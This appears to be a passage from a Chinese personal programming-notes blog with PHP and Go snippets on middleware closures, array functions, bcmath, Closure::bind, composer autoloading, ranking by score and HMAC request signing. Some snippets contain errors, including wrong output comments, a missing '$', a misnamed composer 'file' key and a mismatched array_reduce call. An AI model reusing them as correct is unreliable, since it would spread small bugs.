class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line">$allMiddleware = <span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">    echo <span class="string">'start middleware2'</span> . PHP_EOL;</span><br><span class="line">  </span><br><span class="line">    (<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">        echo <span class="string">'start middleware1'</span> . PHP_EOL;</span><br><span class="line">        <span class="comment">// app</span></span><br><span class="line">        (<span class="function"><span class="keyword">function</span> (<span class="params"></span>) </span>&#123;</span><br><span class="line">            echo <span class="string">'app'</span> . PHP_EOL;</span><br><span class="line">        &#125;)();</span><br><span class="line">        <span class="comment">// end app</span></span><br><span class="line">        echo <span class="string">'end middleware1'</span> . PHP_EOL;</span><br><span class="line">    &#125;)();</span><br><span class="line">  </span><br><span class="line">    echo <span class="string">'end middleware2'</span> . PHP_EOL;</span><br><span class="line">&#125;;</span><br><span class="line">$allMiddleware();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出https://www.0php.net/posts/PHP-%E6%A1%86%E6%9E%B6%E4%B8%AD%E9%97%B4%E4%BB%B6%E5%AE%9E%E7%8E%B0.html</span></span><br><span class="line"><span class="comment">// start middleware2</span></span><br><span class="line"><span class="comment">// start middleware1</span></span><br><span class="line"><span class="comment">// app</span></span><br><span class="line"><span class="comment">// end middleware1</span></span><br><span class="line"><span class="comment">// end middleware2</span></span><br><span class="line">$db = <span class="function"><span class="keyword">function</span> (<span class="params">$request, Closure $next</span>) </span>&#123;</span><br><span class="line">    echo <span class="string">'成功建立数据库连接'</span> . PHP_EOL;</span><br><span class="line">    $response = $next($request);</span><br><span class="line">    echo <span class="string">'成功关闭数据库连接'</span> . PHP_EOL;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $response;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$like = <span class="function"><span class="keyword">function</span> (<span class="params">$request, Closure $next</span>) </span>&#123;</span><br><span class="line">    echo <span class="string">'点赞+1'</span> . PHP_EOL;</span><br><span class="line">    $response = $next($request);</span><br><span class="line">    echo <span class="string">'点赞+2'</span> . PHP_EOL;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $response;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$app = <span class="function"><span class="keyword">function</span> (<span class="params">$request</span>) </span>&#123;</span><br><span class="line">    echo $request . PHP_EOL;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">'一个无聊的返回值'</span>;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$allMiddleware = [$like, $db];</span><br><span class="line">$next = $app;</span><br><span class="line">foreach ($allMiddleware <span class="keyword">as</span> $middleware) &#123;</span><br><span class="line">    $next = <span class="function"><span class="keyword">function</span> (<span class="params">$request</span>) <span class="title">use</span> (<span class="params">$middleware, $next</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">return</span> $middleware($request, $next);</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// array_reduce 实现</span></span><br><span class="line">$allMiddleware = [$like, $db];</span><br><span class="line">$go = array_reduce($allMiddleware, <span class="function"><span class="keyword">function</span> (<span class="params">$next, $middleware</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="function"><span class="keyword">function</span> (<span class="params"></span>) <span class="title">use</span> (<span class="params">$next, $middleware</span>) </span>&#123;</span><br><span class="line">        $middleware($next);</span><br><span class="line">    &#125;;</span><br><span class="line">&#125;, $app);</span><br><span class="line">$go();</span><br><span class="line">$response = $next(<span class="string">'O(∩_∩)O'</span>);</span><br><span class="line">echo $response;</span><br></pre></td></tr></table></figure>
<h3 id="php数组函数"><a href="#php数组函数" class="headerlink" title="php数组函数"></a>php数组函数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//composer require zane/utils dev-master</span></span><br><span class="line">$data = [<span class="number">6</span>, <span class="number">11</span>, <span class="number">11</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">11</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="number">11</span>, <span class="number">8</span>];</span><br><span class="line">$cv = array_count_values($data);</span><br><span class="line"><span class="comment">// $cv = [6 =&gt; 2, 11 =&gt; 4, 2 =&gt; 2, 4 =&gt; 3, 7 =&gt; 1, 8 =&gt; 1]</span></span><br><span class="line">arsort($cv);</span><br><span class="line">$max = key($cv);</span><br><span class="line">var_dump($max);</span><br><span class="line"><span class="comment">// 结果 11</span></span><br><span class="line">$power = [<span class="string">'read'</span> =&gt; <span class="literal">true</span>, <span class="string">'write'</span> =&gt; <span class="literal">true</span>, <span class="string">'execute'</span> =&gt; <span class="literal">true</span>];</span><br><span class="line">var_dump((bool)array_product($power));</span><br><span class="line"><span class="comment">// 结果 true</span></span><br><span class="line">$power = [<span class="string">'read'</span> =&gt; <span class="literal">true</span>, <span class="string">'write'</span> =&gt; <span class="literal">true</span>, <span class="string">'execute'</span> =&gt; <span class="literal">false</span>];</span><br><span class="line">var_dump((bool)array_product($power));</span><br><span class="line"><span class="comment">// 结果 false</span></span><br><span class="line">$power = [<span class="string">'read'</span> =&gt; <span class="literal">true</span>, <span class="string">'write'</span> =&gt; <span class="literal">true</span>, <span class="string">'execute'</span> =&gt; <span class="string">'true'</span>];</span><br><span class="line">var_dump((bool)array_product($power));</span><br><span class="line"><span class="comment">// 结果 false</span></span><br><span class="line">$input = [<span class="string">'foo'</span>, <span class="literal">false</span>, <span class="number">-1</span>, <span class="literal">null</span>, <span class="string">''</span>, []];</span><br><span class="line">var_dump(array_filter($input));</span><br><span class="line"><span class="comment">// 结果 [0 =&gt; 'foo', 2 =&gt; -1]</span></span><br><span class="line">$input = [<span class="number">0</span> =&gt; <span class="number">233</span>, <span class="number">99</span> =&gt; <span class="number">666</span>];</span><br><span class="line">var_dump(array_values($input));</span><br><span class="line"><span class="comment">// 结果 [0 =&gt; 233, 1 =&gt; 66] 不止重置数字索引还会将字符串键名也同样删除并重置</span></span><br><span class="line">input = [<span class="string">'hello'</span> =&gt; <span class="string">'world'</span>, <span class="number">0</span> =&gt; <span class="number">233</span>, <span class="number">99</span> =&gt; <span class="number">666</span>];</span><br><span class="line">var_dump(array_slice($input, <span class="number">0</span>));</span><br><span class="line"><span class="comment">// 结果 ['hello' =&gt; 'world', 0 =&gt; 233, 1 =&gt; 66]</span></span><br><span class="line">$raw = [<span class="string">'id'</span> =&gt; <span class="number">1</span>, <span class="string">'name'</span> =&gt; <span class="string">'zane'</span>, <span class="string">'password'</span> =&gt; <span class="string">'123456'</span>];</span><br><span class="line"><span class="comment">// 用 PHP 内置函数实现</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">removeKeys</span>(<span class="params">$array, $keys</span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> array_diff_key($array, array_flip($keys));</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 移除 id 键 https://www.0php.net/posts/%E5%B7%A7%E7%94%A8-PHP-%E6%95%B0%E7%BB%84%E5%87%BD%E6%95%B0.html</span></span><br><span class="line">var_dump(removeKeys($raw, [<span class="string">'id'</span>, <span class="string">'password'</span>]));</span><br><span class="line"><span class="comment">// 结果 ['name' =&gt; 'zane']</span></span><br><span class="line">$input = [<span class="string">'you are'</span> =&gt; <span class="number">666</span>, <span class="string">'i am'</span> =&gt; <span class="number">233</span>, <span class="string">'he is'</span> =&gt; <span class="number">233</span>, <span class="string">'she is'</span> =&gt; <span class="number">666</span>];</span><br><span class="line">$result = array_flip(array_flip($input));</span><br><span class="line">var_dump($result);</span><br><span class="line"><span class="comment">// 结果 ['she is' =&gt; 666, 'he is' =&gt; 233]</span></span><br></pre></td></tr></table></figure>
<h3 id="浮点数精确度"><a href="#浮点数精确度" class="headerlink" title="浮点数精确度"></a>浮点数精确度</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">4.35</span><span class="number">-4.34</span>等于<span class="number">0.0099999999999998</span></span><br><span class="line"><span class="comment">// 设置默认小数点保留位数</span></span><br><span class="line"></span><br><span class="line">bcscale(<span class="number">2</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 加法</span></span><br><span class="line"></span><br><span class="line">echo bcadd(<span class="number">1234567890.123</span>, <span class="number">987654321987654321</span>), PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 减法https://learnku.com/articles/23967</span></span><br><span class="line"></span><br><span class="line">echo bcsub(<span class="number">1234567890.123</span>, <span class="number">987654321987654321</span>), PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 乘法</span></span><br><span class="line"></span><br><span class="line">echo bcmul(<span class="number">1234567890.123</span>, <span class="number">987654321987654321</span>), PHP_EOL;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 除法，指定保留小数后20位，否则小数点不够结果会是0</span></span><br><span class="line"></span><br><span class="line">echo bcdiv(<span class="number">1234567890.123</span>, <span class="number">987654321987654321</span>, <span class="number">20</span>), PHP_EOL;</span><br><span class="line">或者这时候、你需要对比两个数值的大小范围、我建议你这样做，使用bccomp(<span class="string">'1.00'</span>,<span class="string">'1.00'</span>,<span class="number">2</span>)比较两个数字的大小</span><br></pre></td></tr></table></figure>
<h3 id="windows换行符转换"><a href="#windows换行符转换" class="headerlink" title="windows换行符转换"></a>windows换行符转换</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sed -i <span class="string">'s/\r//'</span> build.sh &amp;&amp; bash build.sh</span><br></pre></td></tr></table></figure>
<h3 id="控制字符检测"><a href="#控制字符检测" class="headerlink" title="控制字符检测"></a>控制字符检测</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$strings = array(<span class="string">'string1'</span> =&gt; <span class="string">"\n\r\t"</span>, <span class="string">'string2'</span> =&gt; <span class="string">'arf12'</span>);</span><br><span class="line">foreach ($strings <span class="keyword">as</span> $name =&gt; $testcase) &#123;</span><br><span class="line">    <span class="keyword">if</span> (ctype_cntrl($testcase)) &#123;</span><br><span class="line">        echo <span class="string">"The string '$name' consists of all control characters.\n"</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        echo <span class="string">"The string '$name' does not consist of all control characters.\n"</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">var_dump(checkdate(<span class="number">12</span>, <span class="number">31</span>, <span class="number">2000</span>)); <span class="comment">// 输出：bool(true)</span></span><br><span class="line">var_dump(checkdate(<span class="number">2</span>, <span class="number">29</span>, <span class="number">2001</span>)); <span class="comment">// 输出：bool(false)</span></span><br></pre></td></tr></table></figure>
<h3 id="匿名函数"><a href="#匿名函数" class="headerlink" title="匿名函数"></a>匿名函数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Order</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    private $orderId = <span class="string">'001'</span>;</span><br><span class="line"></span><br><span class="line">    private <span class="keyword">static</span> $defaultMoney = <span class="string">'100'</span>;</span><br><span class="line"></span><br><span class="line">    public $num = <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$getOrderId = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;orderId;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$getNum = <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;num;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">$getDefaultMoney = <span class="keyword">static</span> <span class="function"><span class="keyword">function</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="keyword">return</span> Order::$defaultMoney;</span><br><span class="line">&#125;;</span><br><span class="line">$getDefaultMoney1 = Closure::bind($getDefaultMoney, <span class="literal">null</span>, <span class="attr">Order</span>::<span class="class"><span class="keyword">class</span>)</span>;</span><br><span class="line"><span class="comment">// 输出：100</span></span><br><span class="line"></span><br><span class="line">$getOrderId1 = Closure::bind($getOrderId, <span class="literal">null</span>, <span class="attr">Order</span>::<span class="class"><span class="keyword">class</span>)</span>;</span><br><span class="line"><span class="comment">// 输出:PHP Fatal error:  Uncaught Error: Using $this when not in object context</span></span><br><span class="line"></span><br><span class="line">$getNum1 = Closure::bind($getNum, <span class="literal">null</span>, <span class="attr">Order</span>::<span class="class"><span class="keyword">class</span>)</span>;</span><br><span class="line"><span class="comment">// 输出:PHP Fatal error:  Uncaught Error: Using $this when not in object context</span></span><br><span class="line">$getDefaultMoney2 = Closure::bind($getDefaultMoney, <span class="keyword">new</span> Order(), <span class="attr">Order</span>::<span class="class"><span class="keyword">class</span>)</span>;</span><br><span class="line"><span class="comment">// 输出：PHP Warning:  Cannot bind an instance to a static closure</span></span><br><span class="line"></span><br><span class="line">$getOrderId2 = Closure::bind($getOrderId, <span class="keyword">new</span> Order(), <span class="attr">Order</span>::<span class="class"><span class="keyword">class</span>)</span>;</span><br><span class="line"><span class="comment">// 输出 string(3) "001"</span></span><br><span class="line"></span><br><span class="line">$getNum2 = Closure::bind($getNum, <span class="keyword">new</span> Order(), <span class="attr">Order</span>::<span class="class"><span class="keyword">class</span>)</span>;</span><br><span class="line"><span class="comment">// 输出 int(1)</span></span><br><span class="line">$getDefaultMoney3 = Closure::bind($getDefaultMoney, <span class="keyword">new</span> Order());</span><br><span class="line"><span class="comment">// 输出 PHP Warning:  Cannot bind an instance to a static closure</span></span><br><span class="line"></span><br><span class="line">$getOrderId3 = Closure::bind($getOrderId, <span class="keyword">new</span> Order());</span><br><span class="line"><span class="comment">// 输出 Fatal error: Uncaught Error: Cannot access private property Order::$orderId</span></span><br><span class="line"></span><br><span class="line">$getNum3 = Closure::bind($getNum, <span class="keyword">new</span> Order());</span><br><span class="line"><span class="comment">// 输出 int(1)</span></span><br><span class="line">$getOrderId1 = $getOrderId-&gt;bindTo(<span class="keyword">new</span> Order(), <span class="attr">Order</span>::<span class="class"><span class="keyword">class</span>)</span>;</span><br></pre></td></tr></table></figure>
<h3 id="Laravel-辅助函数"><a href="#Laravel-辅助函数" class="headerlink" title="Laravel 辅助函数"></a>Laravel 辅助函数</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">composer.json的autoload下加</span><br><span class="line"></span><br><span class="line"><span class="string">"autoload"</span>: &#123;</span><br><span class="line">    <span class="string">"classmap"</span>: [</span><br><span class="line">        <span class="string">"database"</span></span><br><span class="line">    ],</span><br><span class="line">    <span class="string">"psr-4"</span>: &#123;</span><br><span class="line">        <span class="string">"App\\"</span>: <span class="string">"app/"</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">"file"</span>: [</span><br><span class="line">        <span class="string">"app/helpers.php"</span></span><br><span class="line">    ]</span><br><span class="line">&#125;,</span><br><span class="line">然后再运行以下命令进行重新加载文件即可：</span><br><span class="line"></span><br><span class="line"> $ composer dump-autoload</span><br></pre></td></tr></table></figure>
<h3 id="go结构体自定义排序"><a href="#go结构体自定义排序" class="headerlink" title="go结构体自定义排序"></a>go结构体自定义排序</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">"fmt"</span></span><br><span class="line">    <span class="string">"sort"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">type userInfo struct &#123;</span><br><span class="line">    Uid   int64 <span class="comment">//uid</span></span><br><span class="line">    Score int64 <span class="comment">//分数</span></span><br><span class="line">    Rank  int   <span class="comment">//排名</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type Score []userInfo</span><br><span class="line"></span><br><span class="line">func (s Score) Len() int      &#123; <span class="keyword">return</span> len(s) &#125;</span><br><span class="line">func (s Score) Swap(i, j int) &#123; s[i], s[j] = s[j], s[i] &#125;</span><br><span class="line">func (s Score) Less(i, j int) bool &#123; <span class="keyword">return</span> s[i].Score &gt; s[j].Score &#125; <span class="comment">// 从大到小排序</span></span><br><span class="line"></span><br><span class="line">func main()  &#123;</span><br><span class="line">    users := []userInfo&#123;&#125;</span><br><span class="line">    scores := []int64&#123;<span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">8</span>, <span class="number">8</span>, <span class="number">9</span>, <span class="number">1</span>, <span class="number">10</span>,<span class="number">1</span>&#125;</span><br><span class="line">    fmt.Println(scores)</span><br><span class="line">    <span class="keyword">for</span> i := <span class="number">1</span>; i &lt;= <span class="number">10</span>; i++ &#123;</span><br><span class="line">        users = append(users, userInfo&#123;</span><br><span class="line">            Uid:   int64(i),</span><br><span class="line">            Score: scores[i],</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    sort.Sort(Score(users))</span><br><span class="line">    fmt.Printf(<span class="string">"%+v \n"</span>,users)</span><br><span class="line"></span><br><span class="line">    res := ReckonRank(users)</span><br><span class="line">    <span class="keyword">for</span> _,<span class="attr">v</span> := range res &#123;</span><br><span class="line">        fmt.Printf(<span class="string">"user %+v \n"</span>,v)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func ReckonRank(users []userInfo) (usersInfo []userInfo) &#123;</span><br><span class="line">    index := <span class="number">0</span>          <span class="comment">//排名</span></span><br><span class="line">    <span class="keyword">var</span> lastScore int64 <span class="comment">//上一次分数</span></span><br><span class="line">    usersInfo = make([]userInfo, <span class="number">0</span>)</span><br><span class="line">    <span class="keyword">for</span> _, <span class="attr">user</span> := range users &#123;</span><br><span class="line">        <span class="keyword">if</span> user.Score != lastScore &#123;</span><br><span class="line">            index ++</span><br><span class="line">            lastScore = user.Score</span><br><span class="line">        &#125;</span><br><span class="line">        usersInfo = append(usersInfo, userInfo&#123;</span><br><span class="line">                Uid:   user.Uid,</span><br><span class="line">                Score: user.Score,</span><br><span class="line">                Rank:  index,</span><br><span class="line">        &#125;)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="api签名"><a href="#api签名" class="headerlink" title="api签名"></a>api签名</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://github.com/larvacent/laravel-auth-signature-guard/blob/master/src/SignatureGuard.php</span></span><br><span class="line"><span class="comment">//验证公共请求参数</span></span><br><span class="line">        <span class="keyword">if</span> (!$request-&gt;has(<span class="string">'app_id'</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'Missing app_id parameter.'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!$request-&gt;has(<span class="string">'timestamp'</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'Missing timestamp parameter.'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!$request-&gt;has(<span class="string">'signature'</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'Missing signature parameter.'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!$request-&gt;has(<span class="string">'signature_method'</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'Missing signature_method parameter.'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!$request-&gt;has(<span class="string">'signature_nonce'</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'Missing signature_nonce parameter.'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//获取参数</span></span><br><span class="line">        $params = $request-&gt;except([<span class="string">'signature'</span>]);</span><br><span class="line">        <span class="comment">//检查时间戳，误差1分钟</span></span><br><span class="line">        <span class="keyword">if</span> ((time() - intval($params[<span class="string">'timestamp'</span>])) &gt; <span class="number">60</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'Client time is incorrect.'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//获取有效的 Client</span></span><br><span class="line">        <span class="keyword">if</span> (($client = $<span class="keyword">this</span>-&gt;clients-&gt;findActive($params[<span class="string">'app_id'</span>])) == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'App_id is incorrect.'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> ($request-&gt;input(<span class="string">'signature'</span>) != $<span class="keyword">this</span>-&gt;getSignature($params, $client-&gt;secret)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'Signature verification failed'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        protected <span class="function"><span class="keyword">function</span> <span class="title">getSignature</span>(<span class="params">array $params, $key</span>)</span></span><br><span class="line"><span class="function">            </span>&#123;</span><br><span class="line">                <span class="comment">//参数排序</span></span><br><span class="line">                ksort($params);</span><br><span class="line">                $stringToSign = urlencode(http_build_query($params, <span class="literal">null</span>, <span class="string">'&amp;'</span>, PHP_QUERY_RFC3986));</span><br><span class="line">                <span class="comment">//签名</span></span><br><span class="line">                <span class="keyword">if</span> ($params[<span class="string">'signature_method'</span>] == self::SIGNATURE_METHOD_HMACSHA256) &#123;</span><br><span class="line">                    <span class="keyword">return</span> base64_encode(hash_hmac(<span class="string">'sha256'</span>, $stringToSign, $key, <span class="literal">true</span>));</span><br><span class="line">                &#125; elseif ($params[<span class="string">'signature_method'</span>] == self::SIGNATURE_METHOD_HMACSHA1) &#123;</span><br><span class="line">                    <span class="keyword">return</span> base64_encode(hash_hmac(<span class="string">'sha1'</span>, $stringToSign, $key, <span class="literal">true</span>));</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> AuthenticationException(<span class="string">'This signature method is not supported.'</span>);</span><br><span class="line">            &#125;</span><br></pre></td></tr></table></figure>
<h3 id="PHP数组扁平化"><a href="#PHP数组扁平化" class="headerlink" title="PHP数组扁平化"></a>PHP数组扁平化</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">$data = [</span><br><span class="line">    <span class="string">'testArray'</span> =&gt; [</span><br><span class="line">        <span class="string">'string1'</span>,</span><br><span class="line">        <span class="string">'string2'</span>,</span><br><span class="line">        [</span><br><span class="line">            <span class="string">'string1'</span>,</span><br><span class="line">            <span class="string">'string2'</span>,</span><br><span class="line">        ],</span><br><span class="line">    ],</span><br><span class="line">    <span class="string">'teststring'</span></span><br><span class="line">];</span><br><span class="line">echo <span class="string">"&lt;pre&gt;"</span>;https:<span class="comment">//learnku.com/articles/24318</span></span><br><span class="line"></span><br><span class="line">print_r(iterator_to_array(</span><br><span class="line">        <span class="keyword">new</span> RecursiveIteratorIterator(</span><br><span class="line">            <span class="keyword">new</span> RecursiveArrayIterator($data)</span><br><span class="line">        ),</span><br><span class="line">        <span class="literal">false</span>  <span class="comment">// use_keys:默认true</span></span><br><span class="line">    )</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span 